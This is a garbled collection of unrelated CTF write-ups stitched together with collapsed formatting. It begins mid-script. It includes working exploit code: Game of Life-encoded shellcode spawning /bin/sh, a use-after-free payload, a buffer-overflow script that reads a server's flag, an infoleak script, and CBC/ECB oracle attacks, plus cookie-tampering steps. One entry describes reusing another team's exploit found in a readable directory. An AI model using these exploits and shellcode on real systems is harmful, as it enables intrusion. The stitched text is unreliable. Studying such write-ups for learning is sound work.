# 0x5a 0x5bpop_edx_pop_ebx = [(1,0), (3,0), (4,0), (1,1), (2,1), (4,1), (6,0), (9,0), (6,1), (7,1), (8,1), (9,1), (8,3), (9,3), (8,4), (9,4), (11,0),(12,0),(11,1),(12,1),(11,3),(12,3),(11,4),(12,4),(14,0),(15,0),(14,1),(15,1),(14,3),(15,3),(14,4),(15,4)]
# 0x59 0xcd 0x80pop_ecx_int_80 = [(1,0), (3,0), (4,0), (1,1), (2,1), (4,1), (1,3), (2,3), (4,3), (1,4), (3,4), (4,4), (7,0),(8,0),(7,1),(8,1),(11,0),(12,0),(11,1),(12,1), (16,0),(17,0),(16,1),(17,1),(20,0),(21,0),(20,1),(21,1),(23,0),(24,0),(23,1),(24,1)]pop_ecx_int_80_half = [(1,0), (3,0), (4,0), (1,1), (2,1), (4,1), (1,3), (2,3), (4,3), (1,4), (3,4), (4,4), (7,0),(8,0),(7,1),(8,1),(11,0),(12,0),(11,1),(12,1), (16,0),(17,0),(16,1),(17,1),(20,0),(21,0),(20,1),(21,1)]
def put(base, block): ret = [] for i in block: ret.append((i[0] + base[0], i[1] + base[1]))
return ret
# final = []# # # final += put((0,0), nop)# final += put((0,0), inc_eax)# final += put((8,0), inc_eax)# final += put((16,0), inc_eax)# final += put((24,0), push_ebx)# final += put((32,0), push_ecx)# final += put((40,0), push_es)# final += put((48,0), pop_es)# final += put((56,0), push_num)# # final += put((72,0), pop_edx)# final += put((72,0), pop_edx_pop_ebx)# final += put((88,0), pop_ecx_int_80)
final = []
# final += put((0,0), nop)final += put((0,0), inc_eax2)final += put((8,0), inc_eax2)final += put((16,0), inc_eax2)final += put((24,0), push_ebx)final += put((32,0), push_ecx_push_num)final += put((56,0), pop_edx_pop_ebx)final += put((72,0), pop_ecx_int_80)
#for i in final[::-1]:# print '%d,%d' % (i[0], i[1])
target = ('b3s23_28f1ea914f8c873d232da030d4dd00e8.quals.shallweplayaga.me', 2323)# target = ('127.0.0.1', 2323)io = zio(target, print_read=RAW, print_write=COLORED(REPR, 'yellow'), timeout=10000)
io.read_until('run.')
# io.gdb_hint()
for i in final[::-1]: io.writeline('%d,%d' % (i[0], i[1]))
io.writeline('a')
import timetime.sleep(1)
shellcode = 'jhh///sh/bin\x89\xe31\xc9j\x0bX\x99\xcd\x80\xeb\xfe'shellcode = 'j\x01\xfe\x0c$hflag\x89\xe31\xc91\xd2j\x05X\xcd\x80j\x01[\x89\xc1h\xff\xff\xff\x7f^1\xc0\xb0\xbb\x99\xcd\x80'shellcode = 'j\x01\xfe\x0c$hflagj\x05X\x89\xe31\xc9\x99\xcd\x80\x89\xc11\xc0\xb0\xbbj\x01[h\xff\xff\xff\x7f^\x99\xcd\x80'# shellcode = 'jhh///sh/bin\x89\xe31\xc9j\x0bX\x99\x90\x90\xeb\xfe'# shellcode = '\xeb\xfe'io.writeline(shellcode.rjust(0x3c, '\x90'))
io.interact()
|
# WoO2-fixed (and WoO2 and WoO)
So this challenge was interesting because it was the first UAF bug that I have ever exploited. Luckily it was a pretty simple one. I also used the UAF bug for the WoO when I believe the goal was to use a heap overflow (oops!). So my one solution ended up working for both challenges.
For this challenge you were just given a binary and told to get the flag. I started off by running the binary and it appears to be a simple program that lets you create and delete differnent types of pets with user inputted name. When I see programs like this I generally button smash and see if I get anything interesting. Luckily I noticed that if you created a two bears, then deleted the first one multiple times, it would eventually segfault with a double free. This made me think that a UAF would be the way to go. Here is a sample run through that would cause the segfault.
```./503b8ee65d7e768e81ee95b7ce14b2a903abb5c7Welcome! I don't think we're in Kansas anymore.We're about to head off on an adventure!Select some animals you want to bring along.
Menu Options:1: Bring a lion2: Bring a tiger3: Bring a bear4: Delete Animal5: Exit
Enter your choice:3Choose the type of bear you want:1: Black Bear2: Brown Bear2Enter the bear's name:AAAAAMenu Options:1: Bring a lion2: Bring a tiger3: Bring a bear4: Delete Animal5: Exit
Enter your choice:3Choose the type of bear you want:1: Black Bear2: Brown Bear2Enter the bear's name:bMenu Options:1: Bring a lion2: Bring a tiger3: Bring a bear4: Delete Animal5: Exit
Enter your choice:4Choose your friends wisely..Which element do you want to delete?1Menu Options:1: Bring a lion2: Bring a tiger3: Bring a bear4: Delete Animal5: Exit
Enter your choice:4Choose your friends wisely..Which element do you want to delete?1*** Error in `./503b8ee65d7e768e81ee95b7ce14b2a903abb5c7': double free or corruption (fasttop): 0x0000000000c24850 ***======= Backtrace: =========/usr/lib/libc.so.6(+0x6f364)[0x7f9d3b134364]/usr/lib/libc.so.6(+0x74d96)[0x7f9d3b139d96]/usr/lib/libc.so.6(+0x7557e)[0x7f9d3b13a57e]./503b8ee65d7e768e81ee95b7ce14b2a903abb5c7[0x400da5]./503b8ee65d7e768e81ee95b7ce14b2a903abb5c7[0x400e3d]./503b8ee65d7e768e81ee95b7ce14b2a903abb5c7[0x400f30]/usr/lib/libc.so.6(__libc_start_main+0xf0)[0x7f9d3b0e5710]./503b8ee65d7e768e81ee95b7ce14b2a903abb5c7[0x400849]======= Memory map: ========00400000-00402000 r-xp 00000000 08:03 16124030 /home/tj/Downloads/503b8ee65d7e768e81ee95b7ce14b2a903abb5c700601000-00602000 r--p 00001000 08:03 16124030 /home/tj/Downloads/503b8ee65d7e768e81ee95b7ce14b2a903abb5c700602000-00603000 rw-p 00002000 08:03 16124030 /home/tj/Downloads/503b8ee65d7e768e81ee95b7ce14b2a903abb5c700c24000-00c45000 rw-p 00000000 00:00 0 [heap]7f9d34000000-7f9d34021000 rw-p 00000000 00:00 0 7f9d34021000-7f9d38000000 ---p 00000000 00:00 0 7f9d3aeaf000-7f9d3aec5000 r-xp 00000000 08:11 527841 /usr/lib/libgcc_s.so.17f9d3aec5000-7f9d3b0c4000 ---p 00016000 08:11 527841 /usr/lib/libgcc_s.so.17f9d3b0c4000-7f9d3b0c5000 rw-p 00015000 08:11 527841 /usr/lib/libgcc_s.so.17f9d3b0c5000-7f9d3b25d000 r-xp 00000000 08:11 527510 /usr/lib/libc-2.23.so7f9d3b25d000-7f9d3b45c000 ---p 00198000 08:11 527510 /usr/lib/libc-2.23.so7f9d3b45c000-7f9d3b460000 r--p 00197000 08:11 527510 /usr/lib/libc-2.23.so7f9d3b460000-7f9d3b462000 rw-p 0019b000 08:11 527510 /usr/lib/libc-2.23.so7f9d3b462000-7f9d3b466000 rw-p 00000000 00:00 0 7f9d3b466000-7f9d3b489000 r-xp 00000000 08:11 527509 /usr/lib/ld-2.23.so7f9d3b664000-7f9d3b667000 rw-p 00000000 00:00 0 7f9d3b688000-7f9d3b689000 rw-p 00000000 00:00 0 7f9d3b689000-7f9d3b68a000 r--p 00023000 08:11 527509 /usr/lib/ld-2.23.so7f9d3b68a000-7f9d3b68b000 rw-p 00024000 08:11 527509 /usr/lib/ld-2.23.so7f9d3b68b000-7f9d3b68c000 rw-p 00000000 00:00 0 7ffeab176000-7ffeab197000 rw-p 00000000 00:00 0 [stack]7ffeab1e5000-7ffeab1e8000 r--p 00000000 00:00 0 [vvar]7ffeab1e8000-7ffeab1ea000 r-xp 00000000 00:00 0 [vdso]ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall][1] 4785 abort (core dumped) ./503b8ee65d7e768e81ee95b7ce14b2a903abb5c7```
Knowing this I decided to next to analyze the binary in IDA. Looking at the binary in IDA there was a makeStuff function that would did all the parsing of the input.
```cint makeStuff(){ int result; // eax@10 unsigned int v1; // [sp+Ch] [bp-4h]@1
puts("Enter your choice:"); fflush(stdout); __isoc99_scanf("%d", &v1;; getchar(); if ( v1 == 3 ) { result = makeBear(); } else if ( (signed int)v1 > 3 ) { if ( v1 == 5 ) exit(0); if ( (signed int)v1 >= 5 ) { if ( v1 == 4919 ) pwnMe();LABEL_16: printf("Invalid choice :( %d\n", v1); exit(0); } result = deleteAnimal(); } else if ( v1 == 1 ) { result = makeLion(); } else { if ( v1 != 2 ) goto LABEL_16; result = makeTiger(); } return result;}```
Interestingly enough if you enter 4919 it will go a function called pwnMe. ``` void __noreturn pwnMe(){ __int64 v0; // [sp+0h] [bp-10h]@2
if ( bearOffset != -1 ) { v0 = (__int64)*(&pointers + bearOffset); if ( *(_DWORD *)(v0 + 20) == 3 ) (*(void (**)(void))v0)(); exit(0); } exit(0);} ``` So looking at that it basically checks if a value is equal to three and then executes code in a buffer. I figured the goal was to get our own input in that buffer. That was all that static analysis that really needed to be done, it was now time to look at it in GDB. I deciced to set a breakpoint at the pwnMe function and then create a bear with a name of "AAA" and enter in 4919 so the it will get called. I stepped through until it loaded the *pointers* variable in rax and then dumped the memory to see if anything was noticeable.
```-----------------------------------------------------------------------------------------------------------------------[regs] RAX: 0x0000000000603830 RBX: 0x0000000000000000 RBP: 0x00007FFFFFFFE8C0 RSP: 0x00007FFFFFFFE8B0 o d I t s z A p C RDI: 0x00007FFFF7DD38C0 RSI: 0x000000000000000A RDX: 0x00007FFFF7DD5770 RCX: 0x0000000000000010 RIP: 0x0000000000400D04 R8 : 0x00007FFFF7FD3700 R9 : 0x0000000000000000 R10: 0x1999999999999999 R11: 0x000000000000000A R12: 0x0000000000400820 R13: 0x00007FFFFFFFE9E0 R14: 0x0000000000000000 R15: 0x0000000000000000 CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B -----------------------------------------------------------------------------------------------------------------------[code]=> 0x400d04 <pwnMe+35>: mov QWORD PTR [rbp-0x10],rax 0x400d08 <pwnMe+39>: mov rax,QWORD PTR [rbp-0x10] 0x400d0c <pwnMe+43>: mov eax,DWORD PTR [rax+0x14] 0x400d0f <pwnMe+46>: cmp eax,0x3 0x400d12 <pwnMe+49>: jne 0x400d31 <pwnMe+80> 0x400d14 <pwnMe+51>: jmp 0x400d20 <pwnMe+63> 0x400d16 <pwnMe+53>: mov edi,0x0 0x400d1b <pwnMe+58>: call 0x400810 <exit@plt>-----------------------------------------------------------------------------------------------------------------------------0x0000000000400d04 in pwnMe ()gdb$ hexdump 6038300x0000000000603830 : EF BE AD DE 00 00 00 00 - 41 41 41 0A 00 00 00 00 ........AAA.....```
Yay we can put values somewhat close to where we need. However if we were able to get the ```*(_DWORD * )(v0 + 20) == 3 ``` check to pass it would try to execute code at 0xdeadbeef, so we still have work to do.
I did the same thing again except I created two bears. When I dummped the memory interestingly only the second bear was in memory.
```gdb$ hexdump $rax 20x0000000000603850 : EF BE AD DE 00 00 00 00 - 44 44 44 44 0A 00 00 00 ........DDDD....0x0000000000603860 : 00 00 00 00 02 00 00 00 - A1 07 02 00 00 00 00 00 ................```
This got me thinking... What if I created two bears, deleted the first one, and then created another object, say a tiger. What would the memory layout look like? Well it turns out it is exactly what we needed.
```gdb$ hexdump $rax 20x0000000000603850 : 45 45 45 45 0A 00 00 00 - 42 42 42 42 0A 00 00 00 EEEE....BBBB....0x0000000000603860 : 00 00 00 00 04 00 00 00 - A1 07 02 00 00 00 00 00 ................```
We can now put our own input into the address that is getting executed in pwnMe, however we still need to make it pass the check where ```[rax + 20] = 3```. Well what is in ```[rax + 20]``` currently?
```gdb$ p *($rax + 0x14)$5 = 0x4```
It turns out that I created a Caspain Tiger which was the fourth choice. If I switch it to a Sumatarian Tiger, which is the third choice, it then becomes 0x3 which is what we need.
So putting this all together: We create two bears, delete the first, create a Sumatarian Tiger and then enter in 4919, and then we should have our own code executing. So lets try it out, and see what gdb says.
```Program received signal SIGSEGV, Segmentation fault.-----------------------------------------------------------------------------------------------------------------------[regs] RAX: 0x0000000A45454545 RBX: 0x0000000000000000 RBP: 0x00007FFFFFFFE8C0 RSP: 0x00007FFFFFFFE8A8 o d I t s Z a P c RDI: 0x00007FFFF7DD38C0 RSI: 0x000000000000000A RDX: 0x00007FFFF7DD5770 RCX: 0x0000000000000010 RIP: 0x0000000A45454545 R8 : 0x00007FFFF7FD3700 R9 : 0x0000000000000000 R10: 0x1999999999999999 R11: 0x000000000000000A R12: 0x0000000000400820 R13: 0x00007FFFFFFFE9E0 R14: 0x0000000000000000 R15: 0x0000000000000000 CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B Error while running hook_stop:Cannot access memory at address 0xa454545450x0000000a45454545 in ?? ()gdb$
```
Success!
Looking back in IDA it turns out that 0x40090D there is a function called *l33tH4x0r* which reads from flag.txt and prints it to stdout. So we just need to put the name of the caspian tiger as the address to *l33tH4x0r* and it will be executed.
Here is my full solution(Sorry for the long command lol):```python2 -c "print '3\n1\na\n3\n1\nb\n4\n1\n2\n3\n' + '\x0D\x09\x40\x00\x00\x00\x00\x00' + '\n4919\n'" | ./503b8ee65d7e768e81ee95b7ce14b2a903abb5c7```
When I run my solution the end of the output Note that I did not remember the flag so I just made one up to prove it works.
```...Enter your choice:TUCTF{I_FORGOT_THE_FLAG}```
|
First, we examine the site's cookies by typing document.cookie into the developer console.One of the cookies is named "coookie" and contains the datae2FkbWluOmZhbHNlfQ%3D%3D%3D is the percent encoding for an equals sign, so our data must bee2FkbWluOmZhbHNlfQ==Which can be decoded to>>> import base64>>> base64.b64decode('e2FkbWluOmZhbHNlfQ==')>>> {admin:false}using python.To trick the website into thinking we are an admin, we change the cookie to the base64 encoded string "{admin:true}">>> base64.b64encode(b'{admin:true}')>>> e2FkbWluOnRydWV9In the developer console, we edit the cookie by typingdocument.cookie="coookie=e2FkbWluOnRydWV9"We refresh the page and see our flagABCTF{don't_trust_th3_coooki3} |
Some googling reveals that the link is for a Google Doc that must be of the formhttps://drive.google.com/file/d/codeIn our case, the url should look likehttps://drive.google.com/file/d/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharingThis document contains the flagabctf{g00gle_driv3_1s_my_f4v0r1t3} |
Using the command,file flagwe learn that "flag" is a gzip archive.Before we unzip the archive, we must rename it "flag.gz"mv flag flag.gzTo unzip the archive, we usegunzip flag.gzThe uncompressed file readsABCTF{broken_zipper} |
In the page source, we see a comment with the base64 encoded stringc3RvcHRoYXRqcw==When we decrypt the string using python, we get>>> import base64>>> b64.decode('c3RvcHRoYXRqcw==')>>> stopthatjsWe use "stopthatjs" as a password, and see the flag appear and quickly disappear.However, the flag still appears in the page source:ABCTF{no(d3)_js_is_s3cur3_dasjkhadbkjfbjfdjbfsdajfasdl} |
# Feedme - Pwning Problem
## Overview
이문제는 fork를 이용하여 자식프로세를 생성하고 0x00~0xFF까지 size를 받고 그만큼 입력을 받는다.
## Vulnability
입력은 0xFF까지 가능하지만 입력을 받는 공간의 크기는 0x20밖에 되지 않기때문에 BOF가 발생한다. 하지만 Canary가 있기 때문에 단순한 BOF는 아니다.
프로그램을 자세히 살펴보면 fork를 이용하여 자식 프로세스를 만들고 입력을 받기 때문에 Canary는 매번 같다. 그리고 정상종료 되었을 때는 `ATE: 입력값` 이 출력되지만 Canary가 손상되어 비정상 종료 되면 출력되지 않는다.
이를 이용하여 카나리를 leak할 수 있고 ROP를 이용하여 Shell을 획득할 수 있다. |
The authentication system in this challenge uses a JSON blob with the user's username, password, and admin status (in that order), encrypted under an unknown key with AES-192 in CBC mode. The authentication cookie can be modified, and we have a partial decryption oracle which gives us the resulting values of "username" and "admin" in the JSON blob. Additionally, we have an encryption oracle that we can use to get a good value for modifications. If we attempt bit flipping on the cookie, we can see successful changes being made to the username and admin status values. In order to make targeted edits to any block of plaintext when tampering with encrypted data in CBC mode, we must randomize the previous block.We know that our blob will look something like this:{"username":"foobar","password":"hunter2","admin":"false"}We start by logging in with a long repetitious password, 32 'A' characters. Since AES-192 has a block size of 16 bytes, this guarantees that we have at least one block of data in our resulting auth cookie that we can mostly randomize without consequences. However, two problems remain: The bit flips that change our admin status to "true" might result in a block that contains a double quote; this will occur roughly 1 in 16 times. The other problem is that we have to change a 5 byte value to a 4 byte value. On line 39 of the code provided, we can see that any character other than valid JSON characters and alphanumeric characters is discarded after decryption and before the data is parsed in JSON:<span>var auth = decrypt(req.cookies.auth).replace(<span>/[^0-9a-zA-Z{}":, ]+/g</span>, '');</span>We can use this property to solve both problems! There are many characters that are not within the acceptable character range, we can change four of the characters of false to true, and try each possible value for the last character until we reach a scenario where the sacrificed block does not contain a double quote and the last character is discarded by the regex.One more issue remains: The string ","admin":"false is exactly 16 characters long, and we need to align it such that it is within its own block, since we don't want to deal with our random block needing only one double quote at the end and we want to modify all the characters of "false". We begin by entering different passwords to generate auth cookies until the cookie grows in length, indicating that the end of the JSON blob is aligned with the end of the second-to-last block. We add another two 'A' characters to the end of the password to push the trailing "} of the JSON blob into the last block. We don't know if there is any whitespace padding in the JSON blob, so we attempt to bit flip the last character in the second to last block to a few different values to see if we're modifying the "admin" value or destroying the JSON structure. We can try all 256 possible values, if none of them work it is very likely that we're destroying the JSON structure. As it turns out, there is whitespace and we must add one more character to our password to align the value of "admin" to the end of the second to last block. We flip the value of "false" to "truee" and then flip the last character until the JSON remains intact and the last character of the "admin" value is discarded, leaving us with "true", and matching the conditions for revealing the flag. |
Without specifying the block cipher mode to PyCrypto's Crypto.Cipher.AES.AESCipher, ECB mode is used. ECB mode has a number of problems, but one of them involves being able to determine a secret suffix appended to data of your choice encrypted in ECB mode when you are provided with the encrypted data. This is exactly the case in this challenge.The Cryptanalib library of FeatherDuster (https://github.com/nccgroup/featherduster) is capable of performing this attack. In conjunction with binjitsu (https://github.com/binjitsu/binjitsu), the script is relatively easy to write:
<span>from pwn import *import cryptanalib as cadef oracle(pt):<span> tube = remote('107.170.122.6', 7765, level=logging.ERROR)</span><span> tube.recvuntil('Send me some hex-encoded data to encrypt:\n')</span><span> tube.sendline(pt.encode('hex'))</span><span> tube.recvuntil('Here you go:')</span><span> response = tube.recvline().strip().decode('hex')</span><span> tube.close()</span><span> return response</span>print ca.ecb_cpa_decrypt(oracle, 16, verbose=True, hollywood=False)</span> |
This solution was not expected by the organisers. It reveals how a XSS may lead to a very effective phishing attack. A very fun way to solve this web challenge :) |
(For a more complete writeup: http://www.johnfren.ch/Black-Jack/)The goal here is to find "a strategy" to win 27 blackjack games in a row.You're given an encrypted rar file and a perl script which implements a blackjack game. If you win 27 games in a row (with at least one "blackjack" win), the game will decrypt the rar file, using the remaining cards in the deck to generate the key.This is an obvious indication that the solution will only work for a given deck order, which means you must need to do something to the PRNG which is used to shuffle it. The PRNG is seeded with time(). There's also a mysterious bit of text in the game's instructions which give a date (Sept. 28 2016) and timezone (GMT) but no time, as well as references in the description to "a blackjack event" of some kind. This is a hint that the 27-game winning streak can be achieved by seeding the PRNG with a time which falls on Sept 28 2016 (in GMT).After a few false starts, my solution to find the seed which lets you win was to change the PlayerMove subroutine to fork, and try both drawing a card (on one side of the fork) and standing (on the other). This is a super-simple way to just brute-force every possible game of blackjack for a given seed. if it's possible to reach the winning condition, one thread will make it and decrypt the flag; if not, all threads will die.I set this up to run with every possible timestamp which falls within Sept 28 2016 GMT. It took about an hour before it decrypted the flag.For details & code see the link. |
# b3s23
> Welcome to b3s23. Enter x,y coordinates. Enter any other character to run.
Basic interaction with the binary quickly indicates that the program interprets the input as the set of live cells on a Conway's Game of Life board. After some minor reverse engineering, we see that the board is stored as a 12100-bit array, in 110 rows of 110 bits each. The binary runs 15 iterations of Game of Life on the board, and then it jumps to the first byte of the board data structure. So we need to create a board that will have shellcode at the start of the board after the Game of Life iterations.
## Game of LifeConway's Game of Life is a famous cellular automata game. The rules are simple. The game takes place on a square grid, and a set of cells is initially colored black, or alive. The rest of the cells are considered dead. The game proceeds in steps. Each turn, you count each cell's number of live neighbors. If a live cell has 0 or 1 neighbors, it dies (turns white) in the next step (underpopulation). If a live cell has 4 or more neighbors, it also dies in the next step (overpopulation). A dead cell with exactly three neighbors becomes alive (reproduction).
This block has the implementation of the basic Game of Life rules, first counting a cell's neighbors and then deciding whether to make it alive in the next step.
## Shellcode EvolutionSince the entire point of Game of Life is that the evolution is difficult to predict (in fact, it's capable of representing Turing-complete computation), we need to set up the board carefully so it will evolve predictably. The easiest way to do this is to place only static structures on the board. Game of Life enthusiasts have created catalogs of all the small static patterns, which are known as "still-lifes". See http://codercontest.com/mniemiec/p1.htm for one useful example.
Execution effectively occurs across the board's rows, so we can place the code without regard to its Game of Life evolution and then use the surrounding rows to make the executing row static. We'll have to use jumps to get from each executing row to the next.
## Shellcode ChoiceThe shortest approach is to put code that calls `read` with the board as the destination and then send the real shellcode. Unfortunately, we didn't think of this during the competition, so we just put standard shellcode `execve("/bin/sh", {"/bin/sh, NULL"}, NULL)` on the board.
## Still-life ConstructionConstructing still-lifes containing arbitrary code is actually somewhat difficult. For example, we could not find a small still-life that we could place on the board to create a sequence of five or more consecutive one-bits (live cells). So we just avoided any instructions or data with that many ones in a row.
One useful primitive to decouple adjacent instructions is the instruction `add al, 0`, which is represented as `0x04 0x00` in machine code. This instruction allows you to separate any potentially problematic adjacent instructions, because essentially all the bits are off.
One other useful primitive to combine still-life patterns is that adjacent walls (vertical sequences of live cells) do not interfere, as long as they match. So the following arrangement of two still-life patterns (the snake and the block) works:```xx x xxx xx xx```
Of course, any patterns separated by a gap of two columns or two rows will not interfere as well.
## BoardBelow, we have the board we used, with shellcode inline. Executing lines are marked as beginning with `>` characters and ending with `|` characters.
```>xxx x xxxx | JNO $+1Eh;x x x x x x x xx x xx x xx x x x x > xxx x xx x xx x | JMP $+5A; x x xx x xxx x xx x
PUSH $0; PUSH $68h; XOR EAX, EAX; OR AL, $2Fh; ADD AL, $0; JMP $+55h; x x xx xx xx xx x xx xx x x x xx x x x x x > xx x x xx x x xx x xx xxx xx x xxxx x xxx x xx x x x x| x x x x x xx xx x x x x x x x xx xx xx xx xx x xx xx
OR AH, $73h; PUSH AX; PUSH $0Bh; POP EAX; JMP $+56h; x x x xx xx x xx x x x xx> x xx xx xxx xx xx xx x x xx x x x xx x xx xxx x xx x x xx | x x xx xx x xx xx xx x x x xx x xx x x x x xx xx xx
PUSH $6E69626Fh; ADD AL, 0; PUSH ESP; POP EBX; JNO $+56h; xx x x x xx xx xx x x xx xx x x x xx xx xx xx x x x x x xx> xx x x xxxx xx x xx x x xx xxx x x x x x xx xx xxx x x x x xx | x x x x xx xx x x xx x x x x xx xx xx xx xx xx xx xx xx PUSH ESP; POP ECX; XOR EDX, EDX; PUSH EDX; PUSH EBX; PUSH ESP; POP ECX; INT $80h; x xx xx xx x xx xx xx x xx xx xx x x> x x x x xx x xx xxx x x x x x x x xx x x x x xx x x xx xx xx | xx xx x x x xx xx x xx xx x x xx xx xx x xx x```
## ScriptThe following Python code converted this board into the program input and ran the exploit:
```import refrom pwn import *
f = open('board.txt')s = f.read()
rows = s.split('\n')coords = [[(a.start(),i) for a in re.finditer('x', rows[i])] for i in range(len(rows))]flatcoords = reduce(lambda x,y: x+y, coords)
tube = process("./b3s23")
for (x,y) in flatcoords: tube.writeline('{},{}'.format(x,y))
tube.writeline('lol')
for i in range(15): tube.recvuntil('01110001000111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')
tube.interactive()``` |
Did this with bash...while read line; do date -d"${line} next year" +%a; done < date.txt | grep Fri | wcShould probably shorten it with a "grep -c" instead of wcRequires gnu date, won't work the same on a Mac. |
Description: Baby's first Buffer OverFLow (https://en.wikipedia.org/wiki/Buffer_overflow). Server: 172.31.1.39:1618 Binary: 172.31.0.10/tyro_overflow1_0601e9d93a2ff84ae7a85dc199fa8233Part of the infrastructure provided at Defcon 24's oCTF was a jumpbox, with an account for every team.While using the jumpbox was not mandatory, it was a convenient place to put files for your team to use.What may not have been immediately obvious was that your team's home directory was world readable.Fortunately, team lbcb left their solution to this challenge in their home directory.To get the flag, simply run another team's exploit: #!/usr/bin/env python2 # Stolen from lbcb import struct #from sock import Sock from socket import create_connection import time success_addr = 0x0804858D pl = 150 * struct.pack('<I', success_addr) #s = Sock(('172.31.1.39:1618'), timeout=5) s = create_connection(('172.31.1.39', 1618), timeout=5) print s.recv(1024) s.send(pl + '\n') s.send('cat /home/challenge/flag\n') time.sleep(1) print s.recv(2048)Answer: only_T3h_very_bestOverflowz |
After downloading and unzipping the file provided, it appears as a .DBX file. Googling 'dbx file' indicates the file at hand is a saved message from Microsoft Outlook. Download a free, simple DBX file viewer, then open the DBX file. Reading the message, it refers to an attached file of a computer backup. Most free DBX viewers won't let you download the attachment easily, so you may have to find the raw attachment of the .BKF file in base 64 form. Then download a base64 to bkf file tool. Compile the base 64 attachment into the BKF file format. Google search for a BKF file viewer and download it. Then walk through the file system of the BKF file until you find the flag.doc file (there are two, only one has a flag) and find your way into the file, where you will find the following flag: tjctf{@_b1@sT_Fr0M_tH3_Pa$t} |
Description: Sanity Check 10 --- Hack the ______!Initially we noticed that there was a blank line, which suggested there was a single word answer.Fortunately, at least one of us had seen the movie "Hackers" and recognized this challenge as a partial quotation from that movie.An initial attempt to complete the challenge was unsuccessful, as we had submitted "planet", but referring to an old copy of The Penguin Handbook, we realized the quote was intended to be capitalized.Answer: Planet |
Just a Brief solution:It's a 7z SFXThe child process has some checks + antisfirst its parent process name should be "003.exe" and other checks that leads to Exit or long sleeps ( BP on "Sleep" & "exit" to catch)strings constructed using custom char maps and an index to every charthen it checks windows username and ComputerName using their md5 (not just hash, md5 is used to prevent direct string compare )username should equa tol "Tr3nd" and ComputerName should be "M1cr0"then it checks C:\ drive name (label) , that should be "TMTM-4704"every func starts new thread and we see many switch between themafter passing all checks it prints flag , TMCTF{Thread-Traveler}ps:other strings also constucted:Thread-Process-TravellerPacker<span>Hunter</span>maybe it is a multi-flag challenge ( TMCTF{Thread-Hunter} , TMCTF{Process-Hunter} ... ) or the others are false flags. |
Task:<span>Baby's first infoleak (do you even really need the binary?) (https://en.wikipedia.org/wiki/Information_leakage)Server: 172.31.1.36:1616Binary: 172.31.0.10/tyro_infoleak1_bdc3f08dab986b30317b0937a096d794Approach:The binary provided options to see the contents of a memory address using a relative offset or an absolute address. In GDB we found that offset 0 was the starting address for relative offsets and offset 4 was the address of the flag string.A simple perl script was written to read the flag using relative offsets between the two addresses and walking upwards. This script corrupted the last two bytes of output, but it was trivial to manually correct the result.</span>#!/usr/bin/perluse IO::Socket::INET;$sock = IO::Socket::INET->new(PeerAddr => '172.31.1.36', PeerPort => 1616, Proto => 'tcp');sleep(1);my $linebuf;$sock->send("1\n0\n1\n4\n");sleep(1);$sock->recv($linebuf, 4096);print $linebuf;my $decoded = '';if ($linebuf =~ /0x(\S\S\S\S\S\S\S\S).*0x(\S\S\S\S\S\S\S\S)/s) { my ( $stack, $string) = ($1, $2); my $offset = hex($stack) - hex($string); printf "Offset: %08x, %08x, %08x\n", hex($stack), hex($string), $offset; my $walker = ""; foreach my $cur_bucket (0, 4, 8, 12, 16, 20, 24, 28, 32, 36, 40, 44, 48, 52) { my $current = sprintf("1\n-%08x\n", ($offset - $cur_bucket)); print "Sending offset: $cur_bucket\n"; $sock->send($current); sleep(1); $sock->recv($linebuf, 4096); print "$linebuf"; if ($linebuf =~ /0x(\S\S\S?\S?\S?\S?\S?\S?)/) { my $val = $1; my $temp = ''; while ($val =~ /(..)/g) { $temp .= chr(hex($1))} $decoded .= reverse($temp); } }}print "Decoded: $decoded\n"; |
Task:<span><span>Something seems weird about this password reset token validator.172.31.0.10/randdumb_978360d545acfc8dea2bbeddec27a211.jsRunning on 172.31.1.51:5534</span> Approach:</span>The server is a simple node.js script that computes a new random token with each request, compares it to the submitted random token, and displays the flag when the two match.Rather than analyzing the the random number generator in depth, we changed the script to generate a token, print it and exit. After running this in a loop 1000 times, the random token generator had produced one duplicate result ( CO+/ve+/ve+/ve+/ve+/ve+/ve+/ve+/vQ== ).We put this duplicate token into a simple shell loop running nc against the server and after a minute or two it accepted the token and provided the flag. |
#Rain or Shine
I've been working so hard on problems that I didn't even notice it was raining outside. I decided to take a short break and record some ambient sound for a game I've been working on, and just for fun I stuck a flag somewhere in there too! Can you find it for me?
**Hint:** *If you're stuck, start [here](https://en.wikipedia.org/wiki/Steganography).*
## Solution overview
We get a file **rain.wav** which contain what appears to be a recording of some thunderstorm. You can also hear some hiss in the end. But from the challenge text, we can immediately deduce that we have to carve our something else from the file.
### Preliminary search
A quick way to see if you have any text based headers or other ascii information in a file, is to run it through the **string** command in linux. It won't always come up with any usable information, as many file headers are funny "magic" numbers, but its a quick way to start.
`strings rain.wav | less`
We pipe the result of the strings command through less, so we can scroll through the output. A bit down, we can see it plastered with text hinting to Adobe: "Adobe Photoshop CC (Windows)", and some xml header where we find another interesting part:
**<stEvt:parameters>from image/png to image/tiff</stEvt:parameters>**
This tells us that this file is a tiff file, so "strings" business saves us some time, so we don't have to run through our list of different magic numbers for different file types.
### Carving it out
We use this [list of file signatures](https://en.wikipedia.org/wiki/List_of_file_signatures), in order to determine the magic header bytes for tiff files. We assume the data is stored in little endian format, so the bytes we are looking for are: **49 49 2A 00**.
####Are you the bytes we are looking for?We fire up our favorite hex editor **bless** and do a search for the bytes **49 49 2A 00**, and sure enough they are present. And sure enough we find it at offset **0058fd00**!
We copy the data from and including this offset, untill the end of the file and paste it into a new file called **embedded.tiff**
### Opening the tiff (hardest part)Being an avid linux user, I immediately opened the file in gimp! It looked to be a QR-Code that had been splitted into 4 quadrants and shuffled around to form an invalid QR-Code.
I tried here to move the parts around, but no matter what it wouldn't fit, even rotating didn't help. Asked a mate to try to open it in photoshop as this was the program it was made with in the beginning. He could open it and he said there was layers in it, so apparently photoshop had something called layered tiffs.
I searched the trusty google, and found a lot of programs that could open layered tiffs, including gnome, but they all flattened the layers, which was no good to me. The general consensus out there was to use photoshop if you wanted to work with layered tiffs.
Well I had to finish the mission, so i bought a $200 windows licence and a $1500 photoshop licence, and spend the next couple of hours installing it all.
After a tough installation and some 4gb downloading, I finally got the image opened in photoshop and true enough it had layers!!! I moved the layers around till it resembled a correct QR-Code and used my trusty phone to get the text out. The text of course was the flag!!
